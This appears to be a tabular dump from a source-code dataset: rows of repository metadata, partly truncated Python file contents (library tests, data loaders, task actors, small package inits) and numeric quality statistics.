| 21.125 | 61 | 0.733728 | 20 | 169 | 6.2 | 0.8 | 0.209677 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.183432 | 169 | 7 | 62 | 24.142857 | 0.898551 | 0.319527 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f0192fc1112693dcf12641a2d2ffc9b0dea4dbc5 | 18,561 | py | Python | src/bin/hooks/ChemiRegTester.py | ddamerell53/ChemiRegV2 | 906fa4674bfda0088b86b3bcdde0e000510c79e0 | [
"CC0-1.0"
] | null | null | null | src/bin/hooks/ChemiRegTester.py | ddamerell53/ChemiRegV2 | 906fa4674bfda0088b86b3bcdde0e000510c79e0 | [
"CC0-1.0"
] | null | null | null | src/bin/hooks/ChemiRegTester.py | ddamerell53/ChemiRegV2 | 906fa4674bfda0088b86b3bcdde0e000510c79e0 | [
"CC0-1.0"
] | null | null | null | import unittest
import urllib.request
import urllib.parse
import json
import base64
def run_query(base_url, command, args, method='POST'):
url = base_url + '/' + command
data = urllib.parse.urlencode(args)
if method == 'GET':
url = url + '?' + data
data = None
else:
data = da... | 26.142254 | 77 | 0.488336 | 1,825 | 18,561 | 4.786849 | 0.107945 | 0.0087 | 0.049679 | 0.061813 | 0.822802 | 0.794528 | 0.786516 | 0.781479 | 0.756868 | 0.749199 | 0 | 0.038555 | 0.379559 | 18,561 | 709 | 78 | 26.179126 | 0.720042 | 0.001078 | 0 | 0.699627 | 0 | 0 | 0.214089 | 0.002589 | 0 | 0 | 0 | 0 | 0.089552 | 1 | 0.031716 | false | 0.003731 | 0.009328 | 0 | 0.050373 | 0.027985 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f023cd0003910158d0b56367194cad3a4ae4de7f | 19,342 | py | Python | pandas/tests/sparse/test_arithmetics.py | vimalromeo/pandas | 7c14e4f14aff216be558bf5d4d2d00b4838c2360 | [
"PSF-2.0",
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | 69 | 2020-03-31T06:40:17.000Z | 2022-02-25T11:48:18.000Z | venv/lib/python3.7/site-packages/pandas/tests/sparse/test_arithmetics.py | John1001Song/Big-Data-Robo-Adviser | 9444dce96954c546333d5aecc92a06c3bfd19aa5 | [
"MIT"
] | 8 | 2019-12-04T23:44:11.000Z | 2022-02-10T08:31:40.000Z | venv/lib/python3.7/site-packages/pandas/tests/sparse/test_arithmetics.py | John1001Song/Big-Data-Robo-Adviser | 9444dce96954c546333d5aecc92a06c3bfd19aa5 | [
"MIT"
] | 28 | 2020-04-15T15:24:17.000Z | 2021-12-26T04:05:02.000Z | import numpy as np
import pandas as pd
import pandas.util.testing as tm
class TestSparseArrayArithmetics(object):
_base = np.array
_klass = pd.SparseArray
def _assert(self, a, b):
tm.assert_numpy_array_equal(a, b)
def _check_numeric_ops(self, a, b, a_dense, b_dense):
with np.errstat... | 42.792035 | 79 | 0.561679 | 2,775 | 19,342 | 3.668829 | 0.041802 | 0.018466 | 0.04862 | 0.062862 | 0.943326 | 0.941361 | 0.940674 | 0.931146 | 0.920047 | 0.914547 | 0 | 0.030083 | 0.302244 | 19,342 | 451 | 80 | 42.886918 | 0.724289 | 0.031796 | 0 | 0.648903 | 0 | 0 | 0.012566 | 0 | 0 | 0 | 0 | 0.002217 | 0.210031 | 1 | 0.062696 | false | 0 | 0.009404 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f03718d440379d6a181e8a8c4891208edfd7dbc4 | 3,687 | py | Python | iris_exporter/exporter/actors.py | dioptra-io/iris-exporter | 770dc0a888a71bf8dee8b54af8f7164875d84d66 | [
"MIT"
] | null | null | null | iris_exporter/exporter/actors.py | dioptra-io/iris-exporter | 770dc0a888a71bf8dee8b54af8f7164875d84d66 | [
"MIT"
] | 1 | 2022-01-23T20:45:13.000Z | 2022-01-23T20:45:13.000Z | iris_exporter/exporter/actors.py | dioptra-io/iris-exporter | 770dc0a888a71bf8dee8b54af8f7164875d84d66 | [
"MIT"
] | null | null | null | import dramatiq
import redis
from iris_exporter.commons.exclusive import exclusive
from iris_exporter.commons.logger import logger
from iris_exporter.commons.settings import Settings
from iris_exporter.exporter.atlas import AtlasExporter
from iris_exporter.exporter.csv import CSVExporter
settings = Settings()
redis_c... | 29.733871 | 101 | 0.686737 | 420 | 3,687 | 5.745238 | 0.157143 | 0.18649 | 0.132615 | 0.159138 | 0.824285 | 0.824285 | 0.824285 | 0.824285 | 0.824285 | 0.824285 | 0 | 0.001412 | 0.231896 | 3,687 | 123 | 102 | 29.97561 | 0.850636 | 0.021698 | 0 | 0.684685 | 0 | 0 | 0.190846 | 0.053259 | 0 | 0 | 0 | 0 | 0 | 1 | 0.036036 | false | 0 | 0.063063 | 0 | 0.117117 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b2e3eaf9340307360dc9ffaf5ceea762a8cf9dda | 24 | py | Python | jotts/__init__.py | padmalcom/jotts | d23daad49f35cd8bab4897025063f1e0c85e70c9 | [
"MIT"
] | 4 | 2021-11-23T11:26:40.000Z | 2021-11-25T20:40:26.000Z | jotts/__init__.py | padmalcom/jotts | d23daad49f35cd8bab4897025063f1e0c85e70c9 | [
"MIT"
] | 6 | 2021-12-14T09:07:33.000Z | 2022-01-05T18:11:22.000Z | jotts/__init__.py | padmalcom/jotts | d23daad49f35cd8bab4897025063f1e0c85e70c9 | [
"MIT"
] | null | null | null | from .jotts import JoTTS | 24 | 24 | 0.833333 | 4 | 24 | 5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 24 | 1 | 24 | 24 | 0.952381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b2e750dc2b8ae468d483ceb8afe500fbec824e4d | 12,656 | py | Python | tests/test_loaders.py | webclinic017/fastbt | 715982cc454ee6fabcaa605188fd1aad7a32a376 | [
"MIT"
] | 1 | 2020-07-05T00:42:40.000Z | 2020-07-05T00:42:40.000Z | tests/test_loaders.py | webclinic017/fastbt | 715982cc454ee6fabcaa605188fd1aad7a32a376 | [
"MIT"
] | null | null | null | tests/test_loaders.py | webclinic017/fastbt | 715982cc454ee6fabcaa605188fd1aad7a32a376 | [
"MIT"
] | null | null | null | import pandas as pd
from sqlalchemy import create_engine
import unittest
import os
import shutil
import tempfile
from numpy import dtype
import pytest
from math import isclose
from random import randint
import context
from fastbt.loaders import DataLoader, apply_adjustment, collate_data
def compare(frame1, frame2):
... | 34.769231 | 84 | 0.680468 | 1,976 | 12,656 | 4.209008 | 0.107287 | 0.046531 | 0.040399 | 0.050018 | 0.824937 | 0.806421 | 0.78081 | 0.773115 | 0.758928 | 0.75532 | 0 | 0.042815 | 0.134482 | 12,656 | 363 | 85 | 34.865014 | 0.716451 | 0.008138 | 0 | 0.663522 | 0 | 0 | 0.187819 | 0.053321 | 0 | 0 | 0 | 0 | 0.179245 | 1 | 0.103774 | false | 0 | 0.037736 | 0.006289 | 0.160377 | 0.003145 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
650ce6f15d5b92d14c30cb0471d51eaf33820a84 | 40 | py | Python | app/gui/symmetric/atbash/__init__.py | vasilypht/Cryptographic-methods | 7a44a46f01d5973d338170cb05272582d34bc1be | [
"MIT"
] | null | null | null | app/gui/symmetric/atbash/__init__.py | vasilypht/Cryptographic-methods | 7a44a46f01d5973d338170cb05272582d34bc1be | [
"MIT"
] | null | null | null | app/gui/symmetric/atbash/__init__.py | vasilypht/Cryptographic-methods | 7a44a46f01d5973d338170cb05272582d34bc1be | [
"MIT"
] | null | null | null | from .atbash_widget import AtbashWidget
| 20 | 39 | 0.875 | 5 | 40 | 6.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 40 | 1 | 40 | 40 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
651dfd2b43b9af3cc89e19ad6dead086aacee030 | 9 | py | Python | QTM_F/1D/domain/constants.py | binggu56/qmd | e2628710de15f8a8b9a1280fcf92f9e87559414c | [
"MIT"
] | null | null | null | QTM_F/1D/domain/constants.py | binggu56/qmd | e2628710de15f8a8b9a1280fcf92f9e87559414c | [
"MIT"
] | null | null | null | QTM_F/1D/domain/constants.py | binggu56/qmd | e2628710de15f8a8b9a1280fcf92f9e87559414c | [
"MIT"
] | null | null | null | am = 1.0
| 4.5 | 8 | 0.444444 | 3 | 9 | 1.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 0.333333 | 9 | 1 | 9 | 9 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
6532485ab24f2d9af2a2d8e6e20ae382af27eae3 | 69 | py | Python | mbed_targets/mbed_tools/cli.py | madchutney/mbed-targets | dab825a7ca20473020dde28fb0c86700f6d10399 | [
"Apache-2.0"
] | null | null | null | mbed_targets/mbed_tools/cli.py | madchutney/mbed-targets | dab825a7ca20473020dde28fb0c86700f6d10399 | [
"Apache-2.0"
] | null | null | null | mbed_targets/mbed_tools/cli.py | madchutney/mbed-targets | dab825a7ca20473020dde28fb0c86700f6d10399 | [
"Apache-2.0"
] | null | null | null | from mbed_targets.mbed_tools.list_all import list_all as cli # noqa
| 34.5 | 68 | 0.826087 | 13 | 69 | 4.076923 | 0.769231 | 0.264151 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130435 | 69 | 1 | 69 | 69 | 0.883333 | 0.057971 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e8e2a00c4ad1b8d9abbe5fefa7bef90d5bfc8cec | 26 | py | Python | src/cli/__init__.py | Anton45creator/Python_package | 5f3b1ff5a4edfdef2c7c86196a640ba32189f4bb | [
"MIT"
] | null | null | null | src/cli/__init__.py | Anton45creator/Python_package | 5f3b1ff5a4edfdef2c7c86196a640ba32189f4bb | [
"MIT"
] | null | null | null | src/cli/__init__.py | Anton45creator/Python_package | 5f3b1ff5a4edfdef2c7c86196a640ba32189f4bb | [
"MIT"
] | null | null | null | from src.cli.cli import *
| 13 | 25 | 0.730769 | 5 | 26 | 3.8 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 26 | 1 | 26 | 26 | 0.863636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e8e2a6acc7074e0096d7f1e9167bfd45f5cd17d3 | 5,844 | py | Python | tests/chainer_tests/functions_tests/array_tests/test_pad.py | LuoYuanke/PrivChainer | 758d765c7903f6913cfd58c21db069d5f2a12203 | [
"MIT"
] | null | null | null | tests/chainer_tests/functions_tests/array_tests/test_pad.py | LuoYuanke/PrivChainer | 758d765c7903f6913cfd58c21db069d5f2a12203 | [
"MIT"
] | null | null | null | tests/chainer_tests/functions_tests/array_tests/test_pad.py | LuoYuanke/PrivChainer | 758d765c7903f6913cfd58c21db069d5f2a12203 | [
"MIT"
] | 1 | 2022-02-20T10:32:59.000Z | 2022-02-20T10:32:59.000Z | import unittest
import numpy
from chainer import cuda
from chainer import functions
from chainer import gradient_check
from chainer import testing
from chainer.testing import attr
@testing.parameterize(*testing.product_dict(
[
{'shape': (), 'pad_width': 1, 'mode': 'constant'},
{'shape': (2, 3), ... | 35.204819 | 77 | 0.618754 | 811 | 5,844 | 4.240444 | 0.097411 | 0.05583 | 0.05932 | 0.045362 | 0.900262 | 0.891538 | 0.861297 | 0.861297 | 0.84763 | 0.788311 | 0 | 0.021239 | 0.2346 | 5,844 | 165 | 78 | 35.418182 | 0.747597 | 0.010609 | 0 | 0.676923 | 0 | 0 | 0.064706 | 0 | 0 | 0 | 0 | 0 | 0.030769 | 1 | 0.184615 | false | 0 | 0.053846 | 0.015385 | 0.284615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
332332a4fb1261cd06548dbe9febc670129898f2 | 155 | py | Python | hard-gists/6893b83409ae4575e2bd/snippet.py | jjhenkel/dockerizeme | eaa4fe5366f6b9adf74399eab01c712cacaeb279 | [
"Apache-2.0"
] | 21 | 2019-07-08T08:26:45.000Z | 2022-01-24T23:53:25.000Z | hard-gists/6893b83409ae4575e2bd/snippet.py | jjhenkel/dockerizeme | eaa4fe5366f6b9adf74399eab01c712cacaeb279 | [
"Apache-2.0"
] | 5 | 2019-06-15T14:47:47.000Z | 2022-02-26T05:02:56.000Z | hard-gists/6893b83409ae4575e2bd/snippet.py | jjhenkel/dockerizeme | eaa4fe5366f6b9adf74399eab01c712cacaeb279 | [
"Apache-2.0"
] | 17 | 2019-05-16T03:50:34.000Z | 2021-01-14T14:35:12.000Z | from theano.compile import ViewOp
class GradientReversalOp(ViewOp):
def grad(self, inputs, output_gradients):
return [-output_gradients[0]]
| 19.375 | 45 | 0.735484 | 18 | 155 | 6.222222 | 0.833333 | 0.267857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007813 | 0.174194 | 155 | 7 | 46 | 22.142857 | 0.867188 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
33314d6c768ba963ced2dca12dcdf8ec49d73f1b | 275 | py | Python | virtual/sistema/almoxarifado/admin.py | thiagombrodrigues/angular2 | d867e6243c5d311926015792258f16ad9bd21b27 | [
"MIT"
] | null | null | null | virtual/sistema/almoxarifado/admin.py | thiagombrodrigues/angular2 | d867e6243c5d311926015792258f16ad9bd21b27 | [
"MIT"
] | null | null | null | virtual/sistema/almoxarifado/admin.py | thiagombrodrigues/angular2 | d867e6243c5d311926015792258f16ad9bd21b27 | [
"MIT"
] | null | null | null | from django.contrib import admin
from almoxarifado.models import SolicitacaoAlmoxarifado, ItemSolicitacaoAlmoxarifado, EspecieAlmoxarifado
admin.site.register(SolicitacaoAlmoxarifado)
admin.site.register(ItemSolicitacaoAlmoxarifado)
admin.site.register(EspecieAlmoxarifado)
| 39.285714 | 105 | 0.890909 | 24 | 275 | 10.208333 | 0.5 | 0.110204 | 0.208163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.050909 | 275 | 6 | 106 | 45.833333 | 0.938697 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 1 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
3335e34e97c6add66beb7d7fea63b72f546c8670 | 35 | py | Python | jsonconfig/__init__.py | jootuom/jsonconfig | 82fad8907adc269bbd9fc21a47bba8b793d1f7cf | [
"MIT"
] | null | null | null | jsonconfig/__init__.py | jootuom/jsonconfig | 82fad8907adc269bbd9fc21a47bba8b793d1f7cf | [
"MIT"
] | null | null | null | jsonconfig/__init__.py | jootuom/jsonconfig | 82fad8907adc269bbd9fc21a47bba8b793d1f7cf | [
"MIT"
] | null | null | null | from .jsonconfig import JSONConfig
| 17.5 | 34 | 0.857143 | 4 | 35 | 7.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 35 | 1 | 35 | 35 | 0.967742 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
683a7c25a72479a72803d7ea82ca48ee27769bf6 | 7 | py | Python | test_data/parse_retree/unexpected/unterminated/quantifier_with_number_and_comma/source.py | aas-core-works/aas-core-codegen | afec2cf363b6cb69816e7724a2b58626e2165869 | [
"MIT"
] | 5 | 2021-12-29T12:55:34.000Z | 2022-03-01T17:57:21.000Z | test_data/parse_retree/unexpected/unterminated/quantifier_with_number_and_comma/source.py | aas-core-works/aas-core-codegen | afec2cf363b6cb69816e7724a2b58626e2165869 | [
"MIT"
] | 10 | 2021-12-29T02:15:55.000Z | 2022-03-09T11:04:22.000Z | test_data/parse_retree/unexpected/unterminated/quantifier_with_number_and_comma/source.py | aas-core-works/aas-core-codegen | afec2cf363b6cb69816e7724a2b58626e2165869 | [
"MIT"
] | 2 | 2021-12-29T01:42:12.000Z | 2022-02-15T13:46:33.000Z | "a{3,"
| 3.5 | 6 | 0.285714 | 2 | 7 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 0.142857 | 7 | 1 | 7 | 7 | 0.166667 | 0.571429 | 0 | 0 | 0 | 0 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
684702edace179f6f04707eff02d001228883220 | 131 | py | Python | remote_run/__init__.py | Prev/remote-run | dc47fb1179aae296b1107c05126b8cd24850eccf | [
"MIT"
] | 1 | 2022-01-20T10:52:35.000Z | 2022-01-20T10:52:35.000Z | remote_run/__init__.py | Prev/remote-run | dc47fb1179aae296b1107c05126b8cd24850eccf | [
"MIT"
] | null | null | null | remote_run/__init__.py | Prev/remote-run | dc47fb1179aae296b1107c05126b8cd24850eccf | [
"MIT"
] | null | null | null | from .remote_run import remote_run
from .remote_run_docker import remote_run_docker
__all__ = ['remote_run', 'remote_run_docker']
| 26.2 | 48 | 0.824427 | 20 | 131 | 4.75 | 0.3 | 0.568421 | 0.473684 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.099237 | 131 | 4 | 49 | 32.75 | 0.805085 | 0 | 0 | 0 | 0 | 0 | 0.206107 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d7e19fa44d350085d72fb556cc41a67079c60a38 | 139 | py | Python | characters/blackWidow.py | Marypd97/say_my_name_acm | 3fcf15a020a4bcfdb69044524d76630c1231848d | [
"Apache-2.0"
] | null | null | null | characters/blackWidow.py | Marypd97/say_my_name_acm | 3fcf15a020a4bcfdb69044524d76630c1231848d | [
"Apache-2.0"
] | null | null | null | characters/blackWidow.py | Marypd97/say_my_name_acm | 3fcf15a020a4bcfdb69044524d76630c1231848d | [
"Apache-2.0"
] | null | null | null | class blackWidow:
def SayName(self):
print("Black Widow: Hi! I'm Black Widow! I Don't Judge People On Their Worst Mistakes..")
| 34.75 | 97 | 0.676259 | 22 | 139 | 4.272727 | 0.863636 | 0.212766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.215827 | 139 | 3 | 98 | 46.333333 | 0.862385 | 0 | 0 | 0 | 0 | 0.333333 | 0.57554 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0.333333 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
0bdd92d34781ee21de3cfe457ff2bce4bf82c64a | 55 | py | Python | src/RobotFrameworkCore/org.robotframework.ide.core-functions/src/test/python/scripts/res_test_red_module_classes/relative_import/relative.py | alex729/RED | 128bf203cf035892c02805aabd0c915f96006bb0 | [
"Apache-2.0"
] | 375 | 2015-11-02T19:15:30.000Z | 2022-03-19T03:32:10.000Z | src/RobotFrameworkCore/org.robotframework.ide.core-functions/src/test/python/scripts/res_test_red_module_classes/relative_import/relative.py | alex729/RED | 128bf203cf035892c02805aabd0c915f96006bb0 | [
"Apache-2.0"
] | 433 | 2015-11-03T13:24:40.000Z | 2022-03-30T11:20:14.000Z | src/RobotFrameworkCore/org.robotframework.ide.core-functions/src/test/python/scripts/res_test_red_module_classes/relative_import/relative.py | alex729/RED | 128bf203cf035892c02805aabd0c915f96006bb0 | [
"Apache-2.0"
] | 133 | 2016-05-02T02:20:06.000Z | 2022-01-06T06:01:28.000Z | from .non_relative import xyz
class Relative:
pass | 13.75 | 29 | 0.763636 | 8 | 55 | 5.125 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 55 | 4 | 30 | 13.75 | 0.931818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
043a73030e1cd699fb51446873be8e3f10d335da | 57 | py | Python | Programiz/Program to Generate a Random Number/Sol.py | Pandz18/C-Programs | 9d9b47516d3f65d348f9f72b9c0edda8246e9fab | [
"MIT"
] | null | null | null | Programiz/Program to Generate a Random Number/Sol.py | Pandz18/C-Programs | 9d9b47516d3f65d348f9f72b9c0edda8246e9fab | [
"MIT"
] | null | null | null | Programiz/Program to Generate a Random Number/Sol.py | Pandz18/C-Programs | 9d9b47516d3f65d348f9f72b9c0edda8246e9fab | [
"MIT"
] | null | null | null | import random
print(random.randint(-10000000,10000000))
| 14.25 | 41 | 0.807018 | 7 | 57 | 6.571429 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.301887 | 0.070175 | 57 | 3 | 42 | 19 | 0.566038 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
f09f2e0d3b89ebeb8a002a44b616169d0c8f9504 | 33 | py | Python | git-fundamentals/exercises/python/fun/greeter.py | dwilliamscode/courses | 41f0457b069967b9794f996ba5c302e47c8c4d6e | [
"MIT"
] | 4 | 2020-06-12T22:44:49.000Z | 2020-10-03T19:36:36.000Z | git-fundamentals/exercises/python/fun/greeter.py | dwilliamscode/courses | 41f0457b069967b9794f996ba5c302e47c8c4d6e | [
"MIT"
] | 1 | 2020-05-08T22:11:23.000Z | 2020-05-08T22:11:23.000Z | git-fundamentals/exercises/python/fun/greeter.py | dwilliamscode/courses | 41f0457b069967b9794f996ba5c302e47c8c4d6e | [
"MIT"
] | 12 | 2020-05-09T18:11:32.000Z | 2021-02-23T22:40:04.000Z |
def speak(name):
return ''
| 6.6 | 16 | 0.545455 | 4 | 33 | 4.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.30303 | 33 | 4 | 17 | 8.25 | 0.782609 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
0b11808c139816271f36d8d6ec89417f4d991f87 | 28 | py | Python | corehq/apps/cloudcare/tests/selenium/__init__.py | dslowikowski/commcare-hq | ad8885cf8dab69dc85cb64f37aeaf06106124797 | [
"BSD-3-Clause"
] | 1 | 2015-02-10T23:26:39.000Z | 2015-02-10T23:26:39.000Z | corehq/apps/cloudcare/tests/selenium/__init__.py | SEL-Columbia/commcare-hq | 992ee34a679c37f063f86200e6df5a197d5e3ff6 | [
"BSD-3-Clause"
